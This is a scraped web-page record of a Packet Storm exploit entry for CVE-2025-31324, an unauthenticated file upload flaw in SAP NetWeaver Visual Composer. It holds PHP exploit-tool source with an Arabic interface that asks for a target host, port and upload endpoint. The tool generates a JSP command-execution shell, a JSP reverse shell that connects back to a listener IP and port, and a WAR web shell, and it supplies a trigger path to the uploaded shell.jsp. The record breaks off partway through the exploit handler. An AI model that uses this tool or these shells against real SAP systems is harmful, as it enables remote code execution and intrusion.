{"id":41396,"date":"2026-02-18T11:48:36","date_gmt":"2026-02-18T11:48:36","guid":{"rendered":"http:\/\/localhost\/?p=41396"},"modified":"2026-02-18T11:48:36","modified_gmt":"2026-02-18T11:48:36","slug":"sap-netweaver-720-visual-composer-metadata-shell-upload","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=41396","title":{"rendered":"\ud83d\udcc4 SAP NetWeaver 7.20 Visual Composer Metadata Shell Upload_PACKETSTORM:215831"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-18T17:32:05&#8243;,&#8221;description&#8221;:&#8221;SAP NetWeaver Visual Composer contains an unauthenticated file upload vulnerability in the metadata uploader component that allows attackers to upload arbitrary files including JSP web shells and WAR applications, leading to remote code execution on&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-18T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-18T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 SAP NetWeaver 7.20 Visual Composer Metadata Shell Upload&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215831&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-31324&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : SAP NetWeaver 7.20 Visual Composer Metadata Exploitation Tool                                                               |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/www.sap.com\/                                                                                                        |\\n    =============================================================================================================================================\\n    \\n    [+] Summary :\\n    \\n    SAP NetWeaver Visual Composer contains an unauthenticated file upload vulnerability in the metadata uploader component (CVE-2025-31324) \\n    that allows attackers to upload arbitrary files including JSP web shells and WAR applications, leading to remote code execution on the SAP server.\\n    The vulnerability exists in the metadata uploader component of SAP NetWeaver Visual Composer, which fails to properly authenticate and validate file uploads. \\n    Attackers can exploit this by directly uploading malicious files to vulnerable endpoints without any authentication.\\n    \\n    [+] Usage: \\n    \\n    http:\/\/localhost\/poc.php\\n    \\n    [+] POC :\\n    \\n    \\u003c?php\\n    \\n    \\n    class SAPWebExploit {\\n        private $config;\\n        \\n        public function __construct() {\\n            $this-\\u003econfig = [\\n                &#8216;upload_dir&#8217; =\\u003e &#8216;uploads\/&#8217;,\\n                &#8216;max_file_size&#8217; =\\u003e 10485760, \\n                &#8216;allowed_types&#8217; =\\u003e [&#8216;jsp&#8217;, &#8216;war&#8217;, &#8216;jar&#8217;, &#8216;xml&#8217;]\\n            ];\\n    \\n            if (!is_dir($this-\\u003econfig[&#8216;upload_dir&#8217;])) {\\n                mkdir($this-\\u003econfig[&#8216;upload_dir&#8217;], 0755, true);\\n            }\\n        }\\n        \\n        public function handleRequest() {\\n            if ($_SERVER[&#8216;REQUEST_METHOD&#8217;] === &#8216;POST&#8217;) {\\n                $this-\\u003ehandleExploit();\\n            } else {\\n                $this-\\u003eshowForm();\\n            }\\n        }\\n        \\n        private function showForm() {\\n            echo &#8216;\\u003c!DOCTYPE html\\u003e\\n            \\u003chtml lang=\\&#8221;ar\\&#8221; dir=\\&#8221;rtl\\&#8221;\\u003e\\n            \\u003chead\\u003e\\n                \\u003cmeta charset=\\&#8221;UTF-8\\&#8221;\\u003e\\n                \\u003cmeta name=\\&#8221;viewport\\&#8221; content=\\&#8221;width=device-width, initial-scale=1.0\\&#8221;\\u003e\\n                \\u003ctitle\\u003eby indoushka \u0644\u0623\u062f\u0627\u0629 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 SAP CVE-2025-31324\\u003c\/title\\u003e\\n                \\u003cstyle\\u003e\\n                    * {\\n                        margin: 0;\\n                        padding: 0;\\n                        box-sizing: border-box;\\n                        font-family: \\&#8221;Segoe UI\\&#8221;, Tahoma, Geneva, Verdana, sans-serif;\\n                    }\\n                    \\n                    body {\\n                        background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);\\n                        min-height: 100vh;\\n                        padding: 20px;\\n                        direction: rtl;\\n                    }\\n                    \\n                    .container {\\n                        max-width: 1000px;\\n                        margin: 0 auto;\\n                        background: white;\\n                        border-radius: 15px;\\n                        box-shadow: 0 20px 40px rgba(0,0,0,0.1);\\n                        overflow: hidden;\\n                    }\\n                    \\n                    .header {\\n                        background: linear-gradient(135deg, #2c3e50, #34495e);\\n                        color: white;\\n                        padding: 30px;\\n                        text-align: center;\\n                    }\\n                    \\n                    .header h1 {\\n                        font-size: 28px;\\n                        margin-bottom: 10px;\\n                    }\\n                    \\n                    .header .subtitle {\\n                        opacity: 0.8;\\n                        font-size: 14px;\\n                    }\\n                    \\n                    .content {\\n                        padding: 30px;\\n                    }\\n                    \\n                    .form-section {\\n                        margin-bottom: 30px;\\n                        padding: 20px;\\n                        border: 2px dashed #ddd;\\n                        border-radius: 10px;\\n                        background: #f8f9fa;\\n                    }\\n                    \\n                    .form-section h3 {\\n                        color: #2c3e50;\\n                        margin-bottom: 15px;\\n                        padding-bottom: 10px;\\n                        border-bottom: 2px solid #3498db;\\n                    }\\n                    \\n                    .form-group {\\n                        margin-bottom: 20px;\\n                    }\\n                    \\n                    label {\\n                        display: block;\\n                        margin-bottom: 8px;\\n                        font-weight: 600;\\n                        color: #2c3e50;\\n                    }\\n                    \\n                    input[type=\\&#8221;text\\&#8221;],\\n                    input[type=\\&#8221;number\\&#8221;],\\n                    input[type=\\&#8221;file\\&#8221;],\\n                    select {\\n                        width: 100%;\\n                        padding: 12px;\\n                        border: 2px solid #ddd;\\n                        border-radius: 8px;\\n                        font-size: 16px;\\n                        transition: border-color 0.3s;\\n                    }\\n                    \\n                    input:focus, select:focus {\\n                        outline: none;\\n                        border-color: #3498db;\\n                    }\\n                    \\n                    .checkbox-group {\\n                        display: flex;\\n                        align-items: center;\\n                        gap: 10px;\\n                    }\\n                    \\n                    .checkbox-group input {\\n                        width: auto;\\n                    }\\n                    \\n                    .btn {\\n                        background: linear-gradient(135deg, #3498db, #2980b9);\\n                        color: white;\\n                        padding: 15px 30px;\\n                        border: none;\\n                        border-radius: 8px;\\n                        font-size: 16px;\\n                        font-weight: 600;\\n                        cursor: pointer;\\n                        transition: transform 0.2s;\\n                        width: 100%;\\n                    }\\n                    \\n                    .btn:hover {\\n                        transform: translateY(-2px);\\n                    }\\n                    \\n                    .btn-danger {\\n                        background: linear-gradient(135deg, #e74c3c, #c0392b);\\n                    }\\n                    \\n                    .results {\\n                        margin-top: 30px;\\n                        padding: 20px;\\n                        background: #2c3e50;\\n                        color: white;\\n                        border-radius: 8px;\\n                        display: none;\\n                    }\\n                    \\n                    .result-section {\\n                        margin-bottom: 15px;\\n                    }\\n                    \\n                    .result-title {\\n                        font-weight: 600;\\n                        color: #3498db;\\n                        margin-bottom: 5px;\\n                    }\\n                    \\n                    .alert {\\n                        padding: 15px;\\n                        border-radius: 8px;\\n                        margin-bottom: 20px;\\n                    }\\n                    \\n                    .alert-success {\\n                        background: #d4edda;\\n                        color: #155724;\\n                        border: 1px solid #c3e6cb;\\n                    }\\n                    \\n                    .alert-danger {\\n                        background: #f8d7da;\\n                        color: #721c24;\\n                        border: 1px solid #f5c6cb;\\n                    }\\n                    \\n                    .tabs {\\n                        display: flex;\\n                        margin-bottom: 20px;\\n                        border-bottom: 2px solid #ddd;\\n                    }\\n                    \\n                    .tab {\\n                        padding: 12px 24px;\\n                        cursor: pointer;\\n                        border-bottom: 3px solid transparent;\\n                        transition: all 0.3s;\\n                    }\\n                    \\n                    .tab.active {\\n                        border-bottom-color: #3498db;\\n                        color: #3498db;\\n                        font-weight: 600;\\n                    }\\n                    \\n                    .tab-content {\\n                        display: none;\\n                    }\\n                    \\n                    .tab-content.active {\\n                        display: block;\\n                    }\\n                    \\n                    .payload-preview {\\n                        background: #2c3e50;\\n                        color: #ecf0f1;\\n                        padding: 15px;\\n                        border-radius: 8px;\\n                        font-family: monospace;\\n                        font-size: 12px;\\n                        max-height: 200px;\\n                        overflow-y: auto;\\n                        margin-top: 10px;\\n                    }\\n                \\u003c\/style\\u003e\\n            \\u003c\/head\\u003e\\n            \\u003cbody\\u003e\\n                \\u003cdiv class=\\&#8221;container\\&#8221;\\u003e\\n                    \\u003cdiv class=\\&#8221;header\\&#8221;\\u003e\\n                        \\u003ch1\\u003e\u0623\u062f\u0627\u0629 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 SAP CVE-2025-31324\\u003c\/h1\\u003e\\n                        \\u003cdiv class=\\&#8221;subtitle\\&#8221;\\u003eSAP NetWeaver Visual Composer Metadata Uploader &#8211; Unauthenticated File Upload\\u003c\/div\\u003e\\n                        \\u003cdiv class=\\&#8221;subtitle\\&#8221;\\u003ePowered by indoushka\\u003c\/div\\u003e\\n                    \\u003c\/div\\u003e\\n                    \\n                    \\u003cdiv class=\\&#8221;content\\&#8221;\\u003e\\n                        \\u003cdiv class=\\&#8221;tabs\\&#8221;\\u003e\\n                            \\u003cdiv class=\\&#8221;tab active\\&#8221; onclick=\\&#8221;switchTab(0)\\&#8221;\\u003e \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u0633\u0631\u064a\u0639\\u003c\/div\\u003e\\n                            \\u003cdiv class=\\&#8221;tab\\&#8221; onclick=\\&#8221;switchTab(1)\\&#8221;\\u003e \u0625\u0639\u062f\u0627\u062f\u0627\u062a \u0645\u062a\u0642\u062f\u0645\u0629\\u003c\/div\\u003e\\n                            \\u003cdiv class=\\&#8221;tab\\&#8221; onclick=\\&#8221;switchTab(2)\\&#8221;\\u003e \u062a\u0648\u0644\u064a\u062f \u0627\u0644\u062d\u0645\u0648\u0644\u0627\u062a\\u003c\/div\\u003e\\n                        \\u003c\/div\\u003e\\n                        \\n                        \\u003cform method=\\&#8221;POST\\&#8221; enctype=\\&#8221;multipart\/form-data\\&#8221; id=\\&#8221;exploitForm\\&#8221;\\u003e\\n                            \\n                            \\u003c!&#8211; Tab 1: Quick Exploit &#8211;\\u003e\\n                            \\u003cdiv class=\\&#8221;tab-content active\\&#8221; id=\\&#8221;tab1\\&#8221;\\u003e\\n                                \\u003cdiv class=\\&#8221;form-section\\&#8221;\\u003e\\n                                    \\u003ch3\\u003e \u0627\u0644\u0647\u062f\u0641 \u0627\u0644\u0623\u0633\u0627\u0633\u064a\\u003c\/h3\\u003e\\n                                    \\n                                    \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                                        \\u003clabel for=\\&#8221;host\\&#8221;\\u003e\u0627\u0633\u0645 \u0627\u0644\u062e\u0627\u062f\u0645 (Host):\\u003c\/label\\u003e\\n                                        \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;host\\&#8221; name=\\&#8221;host\\&#8221; placeholder=\\&#8221;example.com\\&#8221; required\\u003e\\n                                    \\u003c\/div\\u003e\\n                                    \\n                                    \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                                        \\u003clabel for=\\&#8221;port\\&#8221;\\u003e\u0627\u0644\u0645\u0646\u0641\u0630 (Port):\\u003c\/label\\u003e\\n                                        \\u003cinput type=\\&#8221;number\\&#8221; id=\\&#8221;port\\&#8221; name=\\&#8221;port\\&#8221; value=\\&#8221;50001\\&#8221;\\u003e\\n                                    \\u003c\/div\\u003e\\n                                    \\n                                    \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                                        \\u003clabel for=\\&#8221;endpoint\\&#8221;\\u003e\u0645\u0633\u0627\u0631 \u0627\u0644\u0631\u0641\u0639 (Endpoint):\\u003c\/label\\u003e\\n                                        \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;endpoint\\&#8221; name=\\&#8221;endpoint\\&#8221; \\n                                               value=\\&#8221;\/irj\/portal\/sap\/bc\/webdynpro\/sap\/ZWDC_METADATA_UPLDR\\&#8221; required\\u003e\\n                                    \\u003c\/div\\u003e\\n                                \\u003c\/div\\u003e\\n                                \\n                                \\u003cdiv class=\\&#8221;form-section\\&#8221;\\u003e\\n                                    \\u003ch3\\u003e \u0627\u0644\u062d\u0645\u0648\u0644\u0629\\u003c\/h3\\u003e\\n                                    \\n                                    \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                                        \\u003clabel\\u003e\u0646\u0648\u0639 \u0627\u0644\u062d\u0645\u0648\u0644\u0629:\\u003c\/label\\u003e\\n                                        \\u003cselect name=\\&#8221;payload_type\\&#8221; id=\\&#8221;payloadType\\&#8221; onchange=\\&#8221;togglePayloadOptions()\\&#8221;\\u003e\\n                                            \\u003coption value=\\&#8221;file\\&#8221;\\u003e\u0631\u0641\u0639 \u0645\u0644\u0641 \u0645\u0648\u062c\u0648\u062f\\u003c\/option\\u003e\\n                                            \\u003coption value=\\&#8221;generate_jsp\\&#8221;\\u003e\u062a\u0648\u0644\u064a\u062f JSP Shell\\u003c\/option\\u003e\\n                                            \\u003coption value=\\&#8221;generate_war\\&#8221;\\u003e\u062a\u0648\u0644\u064a\u062f WAR File\\u003c\/option\\u003e\\n                                        \\u003c\/select\\u003e\\n                                    \\u003c\/div\\u003e\\n                                    \\n                                    \\u003cdiv class=\\&#8221;form-group\\&#8221; id=\\&#8221;fileUploadGroup\\&#8221;\\u003e\\n                                        \\u003clabel for=\\&#8221;payload_file\\&#8221;\\u003e\u0631\u0641\u0639 \u0645\u0644\u0641 \u0627\u0644\u062d\u0645\u0648\u0644\u0629:\\u003c\/label\\u003e\\n                                        \\u003cinput type=\\&#8221;file\\&#8221; id=\\&#8221;payload_file\\&#8221; name=\\&#8221;payload_file\\&#8221; \\n                                               accept=\\&#8221;.jsp,.war,.jar,.xml\\&#8221;\\u003e\\n                                    \\u003c\/div\\u003e\\n                                    \\n                                    \\u003cdiv class=\\&#8221;form-group\\&#8221; id=\\&#8221;commandGroup\\&#8221; style=\\&#8221;display:none;\\&#8221;\\u003e\\n                                        \\u003clabel for=\\&#8221;command\\&#8221;\\u003e\u0627\u0644\u0623\u0645\u0631 \u0627\u0644\u0645\u0637\u0644\u0648\u0628 \u062a\u0646\u0641\u064a\u0630\u0647:\\u003c\/label\\u003e\\n                                        \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;command\\&#8221; name=\\&#8221;command\\&#8221; value=\\&#8221;whoami\\&#8221;\\u003e\\n                                    \\u003c\/div\\u003e\\n                                    \\n                                    \\u003cdiv class=\\&#8221;form-group\\&#8221; id=\\&#8221;reverseShellGroup\\&#8221; style=\\&#8221;display:none;\\&#8221;\\u003e\\n                                        \\u003clabel for=\\&#8221;lhost\\&#8221;\\u003eIP \u0627\u0644\u0645\u0633\u062a\u0645\u0639 (LHOST):\\u003c\/label\\u003e\\n                                        \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;lhost\\&#8221; name=\\&#8221;lhost\\&#8221; placeholder=\\&#8221;192.168.1.100\\&#8221;\\u003e\\n                                        \\n                                        \\u003clabel for=\\&#8221;lport\\&#8221; style=\\&#8221;margin-top:10px;\\&#8221;\\u003e\u0645\u0646\u0641\u0630 \u0627\u0644\u0645\u0633\u062a\u0645\u0639 (LPORT):\\u003c\/label\\u003e\\n                                        \\u003cinput type=\\&#8221;number\\&#8221; id=\\&#8221;lport\\&#8221; name=\\&#8221;lport\\&#8221; value=\\&#8221;4444\\&#8221;\\u003e\\n                                    \\u003c\/div\\u003e\\n                                \\u003c\/div\\u003e\\n                            \\u003c\/div\\u003e\\n                            \\n                            \\u003c!&#8211; Tab 2: Advanced Settings &#8211;\\u003e\\n                            \\u003cdiv class=\\&#8221;tab-content\\&#8221; id=\\&#8221;tab2\\&#8221;\\u003e\\n                                \\u003cdiv class=\\&#8221;form-section\\&#8221;\\u003e\\n                                    \\u003ch3\\u003e\u0625\u0639\u062f\u0627\u062f\u0627\u062a \u0645\u062a\u0642\u062f\u0645\u0629\\u003c\/h3\\u003e\\n                                    \\n                                    \\u003cdiv class=\\&#8221;form-group checkbox-group\\&#8221;\\u003e\\n                                        \\u003cinput type=\\&#8221;checkbox\\&#8221; id=\\&#8221;https\\&#8221; name=\\&#8221;https\\&#8221;\\u003e\\n                                        \\u003clabel for=\\&#8221;https\\&#8221;\\u003e\u0627\u0633\u062a\u062e\u062f\u0627\u0645 HTTPS\\u003c\/label\\u003e\\n                                    \\u003c\/div\\u003e\\n                                    \\n                                    \\u003cdiv class=\\&#8221;form-group checkbox-group\\&#8221;\\u003e\\n                                        \\u003cinput type=\\&#8221;checkbox\\&#8221; id=\\&#8221;bypass_portal\\&#8221; name=\\&#8221;bypass_portal\\&#8221; checked\\u003e\\n                                        \\u003clabel for=\\&#8221;bypass_portal\\&#8221;\\u003e\u062a\u062c\u0627\u0648\u0632 Portal (\u0625\u0632\u0627\u0644\u0629 \/portal \u0645\u0646 \u0627\u0644\u0645\u0633\u0627\u0631\u0627\u062a)\\u003c\/label\\u003e\\n                                    \\u003c\/div\\u003e\\n                                    \\n                                    \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                                        \\u003clabel for=\\&#8221;field_name\\&#8221;\\u003e\u0627\u0633\u0645 \u062d\u0642\u0644 \u0627\u0644\u0631\u0641\u0639:\\u003c\/label\\u003e\\n                                        \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;field_name\\&#8221; name=\\&#8221;field_name\\&#8221; value=\\&#8221;UPLOAD_METADATA\\&#8221;\\u003e\\n                                    \\u003c\/div\\u003e\\n                                \\u003c\/div\\u003e\\n                                \\n                                \\u003cdiv class=\\&#8221;form-section\\&#8221;\\u003e\\n                                    \\u003ch3\\u003e \u0625\u0639\u062f\u0627\u062f\u0627\u062a \u0627\u0644\u062a\u0641\u0639\u064a\u0644\\u003c\/h3\\u003e\\n                                    \\n                                    \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                                        \\u003clabel for=\\&#8221;trigger_path\\&#8221;\\u003e\u0645\u0633\u0627\u0631 \u0627\u0644\u062a\u0641\u0639\u064a\u0644:\\u003c\/label\\u003e\\n                                        \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;trigger_path\\&#8221; name=\\&#8221;trigger_path\\&#8221; \\n                                               placeholder=\\&#8221;\/irj\/portal\/irj\/servlet_jsp\/irj\/root\/shell.jsp\\&#8221;\\u003e\\n                                    \\u003c\/div\\u003e\\n                                    \\n                                    \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                                        \\u003clabel for=\\&#8221;trigger_host\\&#8221;\\u003e\u062e\u0627\u062f\u0645 \u0627\u0644\u062a\u0641\u0639\u064a\u0644 (\u0627\u0641\u062a\u0631\u0627\u0636\u064a: \u0646\u0641\u0633 \u0627\u0644\u062e\u0627\u062f\u0645):\\u003c\/label\\u003e\\n                                        \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;trigger_host\\&#8221; name=\\&#8221;trigger_host\\&#8221;\\u003e\\n                                    \\u003c\/div\\u003e\\n                                    \\n                                    \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                                        \\u003clabel for=\\&#8221;trigger_port\\&#8221;\\u003e\u0645\u0646\u0641\u0630 \u0627\u0644\u062a\u0641\u0639\u064a\u0644:\\u003c\/label\\u003e\\n                                        \\u003cinput type=\\&#8221;number\\&#8221; id=\\&#8221;trigger_port\\&#8221; name=\\&#8221;trigger_port\\&#8221;\\u003e\\n                                    \\u003c\/div\\u003e\\n                                    \\n                                    \\u003cdiv class=\\&#8221;form-group checkbox-group\\&#8221;\\u003e\\n                                        \\u003cinput type=\\&#8221;checkbox\\&#8221; id=\\&#8221;trigger_https\\&#8221; name=\\&#8221;trigger_https\\&#8221;\\u003e\\n                                        \\u003clabel for=\\&#8221;trigger_https\\&#8221;\\u003e\u0627\u0633\u062a\u062e\u062f\u0627\u0645 HTTPS \u0644\u0644\u062a\u0641\u062a\u064a\u0644\\u003c\/label\\u003e\\n                                    \\u003c\/div\\u003e\\n                                \\u003c\/div\\u003e\\n                            \\u003c\/div\\u003e\\n                            \\n                            \\u003c!&#8211; Tab 3: Payload Generation &#8211;\\u003e\\n                            \\u003cdiv class=\\&#8221;tab-content\\&#8221; id=\\&#8221;tab3\\&#8221;\\u003e\\n                                \\u003cdiv class=\\&#8221;form-section\\&#8221;\\u003e\\n                                    \\u003ch3\\u003e \u062a\u0648\u0644\u064a\u062f \u0627\u0644\u062d\u0645\u0648\u0644\u0627\u062a\\u003c\/h3\\u003e\\n                                    \\n                                    \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                                        \\u003clabel\\u003e\u0646\u0648\u0639 \u0627\u0644\u062d\u0645\u0648\u0644\u0629:\\u003c\/label\\u003e\\n                                        \\u003cselect name=\\&#8221;gen_type\\&#8221; onchange=\\&#8221;showPayloadPreview()\\&#8221;\\u003e\\n                                            \\u003coption value=\\&#8221;jsp_cmd\\&#8221;\\u003eJSP &#8211; \u062a\u0646\u0641\u064a\u0630 \u0623\u0648\u0627\u0645\u0631\\u003c\/option\\u003e\\n                                            \\u003coption value=\\&#8221;jsp_reverse\\&#8221;\\u003eJSP &#8211; Reverse Shell\\u003c\/option\\u003e\\n                                            \\u003coption value=\\&#8221;war_simple\\&#8221;\\u003eWAR &#8211; Web Shell\\u003c\/option\\u003e\\n                                        \\u003c\/select\\u003e\\n                                    \\u003c\/div\\u003e\\n                                    \\n                                    \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                                        \\u003clabel for=\\&#8221;gen_command\\&#8221;\\u003e\u0627\u0644\u0623\u0645\u0631:\\u003c\/label\\u003e\\n                                        \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;gen_command\\&#8221; name=\\&#8221;gen_command\\&#8221; value=\\&#8221;id\\&#8221; onkeyup=\\&#8221;showPayloadPreview()\\&#8221;\\u003e\\n                                    \\u003c\/div\\u003e\\n                                    \\n                                    \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                                        \\u003clabel for=\\&#8221;gen_lhost\\&#8221;\\u003eIP \u0627\u0644\u0645\u0633\u062a\u0645\u0639:\\u003c\/label\\u003e\\n                                        \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;gen_lhost\\&#8221; name=\\&#8221;gen_lhost\\&#8221; value=\\&#8221;192.168.1.100\\&#8221; onkeyup=\\&#8221;showPayloadPreview()\\&#8221;\\u003e\\n                                    \\u003c\/div\\u003e\\n                                    \\n                                    \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                                        \\u003clabel for=\\&#8221;gen_lport\\&#8221;\\u003e\u0645\u0646\u0641\u0630 \u0627\u0644\u0645\u0633\u062a\u0645\u0639:\\u003c\/label\\u003e\\n                                        \\u003cinput type=\\&#8221;number\\&#8221; id=\\&#8221;gen_lport\\&#8221; name=\\&#8221;gen_lport\\&#8221; value=\\&#8221;4444\\&#8221; onkeyup=\\&#8221;showPayloadPreview()\\&#8221;\\u003e\\n                                    \\u003c\/div\\u003e\\n                                    \\n                                    \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                                        \\u003clabel\\u003e\u0645\u0639\u0627\u064a\u0646\u0629 \u0627\u0644\u062d\u0645\u0648\u0644\u0629:\\u003c\/label\\u003e\\n                                        \\u003cdiv class=\\&#8221;payload-preview\\&#8221; id=\\&#8221;payloadPreview\\&#8221;\\u003e\\n                                            \/\/ \u0633\u064a\u062a\u0645 \u0639\u0631\u0636 \u0627\u0644\u062d\u0645\u0648\u0644\u0629 \u0647\u0646\u0627&#8230;\\n                                        \\u003c\/div\\u003e\\n                                    \\u003c\/div\\u003e\\n                                    \\n                                    \\u003cbutton type=\\&#8221;button\\&#8221; class=\\&#8221;btn\\&#8221; onclick=\\&#8221;downloadPayload()\\&#8221;\\u003e \u062a\u062d\u0645\u064a\u0644 \u0627\u0644\u062d\u0645\u0648\u0644\u0629\\u003c\/button\\u003e\\n                                \\u003c\/div\\u003e\\n                            \\u003c\/div\\u003e\\n                            \\n                            \\u003cbutton type=\\&#8221;submit\\&#8221; class=\\&#8221;btn\\&#8221;\\u003e \u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644\\u003c\/button\\u003e\\n                            \\u003cbutton type=\\&#8221;button\\&#8221; class=\\&#8221;btn btn-danger\\&#8221; onclick=\\&#8221;clearForm()\\&#8221;\\u003e \u0645\u0633\u062d \u0627\u0644\u0646\u0645\u0648\u0630\u062c\\u003c\/button\\u003e\\n                        \\u003c\/form\\u003e\\n                        \\n                        \\u003cdiv class=\\&#8221;results\\&#8221; id=\\&#8221;results\\&#8221;\\u003e\\n                            \\u003ch3\\u003e \u0627\u0644\u0646\u062a\u0627\u0626\u062c:\\u003c\/h3\\u003e\\n                            \\u003cdiv id=\\&#8221;resultContent\\&#8221;\\u003e\\u003c\/div\\u003e\\n                        \\u003c\/div\\u003e\\n                    \\u003c\/div\\u003e\\n                \\u003c\/div\\u003e\\n                \\n                \\u003cscript\\u003e\\n                    function switchTab(tabIndex) {\\n    \\n                        document.querySelectorAll(\\&#8221;.tab\\&#8221;).forEach(tab =\\u003e tab.classList.remove(\\&#8221;active\\&#8221;));\\n                        document.querySelectorAll(\\&#8221;.tab-content\\&#8221;).forEach(content =\\u003e content.classList.remove(\\&#8221;active\\&#8221;));\\n                        \\n                        \/\/ Show selected tab and content\\n                        document.querySelectorAll(\\&#8221;.tab\\&#8221;)[tabIndex].classList.add(\\&#8221;active\\&#8221;);\\n                        document.querySelectorAll(\\&#8221;.tab-content\\&#8221;)[tabIndex].classList.add(\\&#8221;active\\&#8221;);\\n                    }\\n                    \\n                    function togglePayloadOptions() {\\n                        const type = document.getElementById(\\&#8221;payloadType\\&#8221;).value;\\n                        document.getElementById(\\&#8221;fileUploadGroup\\&#8221;).style.display = \\n                            type === \\&#8221;file\\&#8221; ? \\&#8221;block\\&#8221; : \\&#8221;none\\&#8221;;\\n                        document.getElementById(\\&#8221;commandGroup\\&#8221;).style.display = \\n                            type.includes(\\&#8221;jsp\\&#8221;) ? \\&#8221;block\\&#8221; : \\&#8221;none\\&#8221;;\\n                        document.getElementById(\\&#8221;reverseShellGroup\\&#8221;).style.display = \\n                            type === \\&#8221;generate_war\\&#8221; ? \\&#8221;block\\&#8221; : \\&#8221;none\\&#8221;;\\n                    }\\n                    \\n                    function showPayloadPreview() {\\n                        const type = document.querySelector(\\&#8221;select[name=\\\\\\&#8221;gen_type\\\\\\&#8221;]\\&#8221;).value;\\n                        const command = document.getElementById(\\&#8221;gen_command\\&#8221;).value;\\n                        const lhost = document.getElementById(\\&#8221;gen_lhost\\&#8221;).value;\\n                        const lport = document.getElementById(\\&#8221;gen_lport\\&#8221;).value;\\n                        \\n                        let preview = \\&#8221;\\&#8221;;\\n                        \\n                        if (type === \\&#8221;jsp_cmd\\&#8221;) {\\n                            preview = `\\u003c%@ page import=\\&#8221;java.util.*,java.io.*\\&#8221; %\\u003e\\\\n` +\\n                                     `\\u003c%\\\\n` +\\n                                     `String cmd = \\&#8221;${command}\\&#8221;;\\\\n` +\\n                                     `Process p = Runtime.getRuntime().exec(cmd);\\\\n` +\\n                                     `\/\/ &#8230; \u0643\u0648\u062f \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0623\u0645\u0631 &#8230;\\\\n` +\\n                                     `%\\u003e`;\\n                        } else if (type === \\&#8221;jsp_reverse\\&#8221;) {\\n                            preview = `\/\/ Reverse Shell to ${lhost}:${lport}\\\\n` +\\n                                     `Socket s = new Socket(\\&#8221;${lhost}\\&#8221;, ${lport});\\\\n` +\\n                                     `\/\/ &#8230; \u0643\u0648\u062f \u0627\u0644\u0627\u062a\u0635\u0627\u0644 \u0627\u0644\u0639\u0643\u0633\u064a &#8230;`;\\n                        } else if (type === \\&#8221;war_simple\\&#8221;) {\\n                            preview = `\/\/ WAR File Structure\\\\n` +\\n                                     `WEB-INF\/web.xml\\\\n` +\\n                                     `shell.jsp\\\\n` +\\n                                     `\/\/ Contains JSP Web Shell`;\\n                        }\\n                        \\n                        document.getElementById(\\&#8221;payloadPreview\\&#8221;).textContent = preview;\\n                    }\\n                    \\n                    function downloadPayload() {\\n                        alert(\\&#8221;\u0633\u064a\u062a\u0645 \u062a\u0646\u0632\u064a\u0644 \u0627\u0644\u062d\u0645\u0648\u0644\u0629&#8230; (\u0647\u0630\u0647 \u0645\u062c\u0631\u062f \u0648\u0627\u062c\u0647\u0629 \u062a\u062c\u0631\u064a\u0628\u064a\u0629)\\&#8221;);\\n                    }\\n                    \\n                    function clearForm() {\\n                        document.getElementById(\\&#8221;exploitForm\\&#8221;).reset();\\n                        document.getElementById(\\&#8221;results\\&#8221;).style.display = \\&#8221;none\\&#8221;;\\n                    }\\n                    \\n                    \/\/ Initialize\\n                    togglePayloadOptions();\\n                    showPayloadPreview();\\n                \\u003c\/script\\u003e\\n            \\u003c\/body\\u003e\\n            \\u003c\/html\\u003e&#8217;;\\n        }\\n        \\n        private function handleExploit() {\\n            echo &#8216;\\u003c!DOCTYPE html\\u003e\\n            \\u003chtml lang=\\&#8221;ar\\&#8221; dir=\\&#8221;rtl\\&#8221;\\u003e\\n            \\u003chead\\u003e\\n                \\u003cmeta charset=\\&#8221;UTF-8\\&#8221;\\u003e\\n                \\u003ctitle\\u003e\u0646\u062a\u0627\u0626\u062c \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644\\u003c\/title\\u003e\\n                \\u003cstyle\\u003e\\n                    body { font-family: Arial, sans-serif; padding: 20px; direction: rtl; 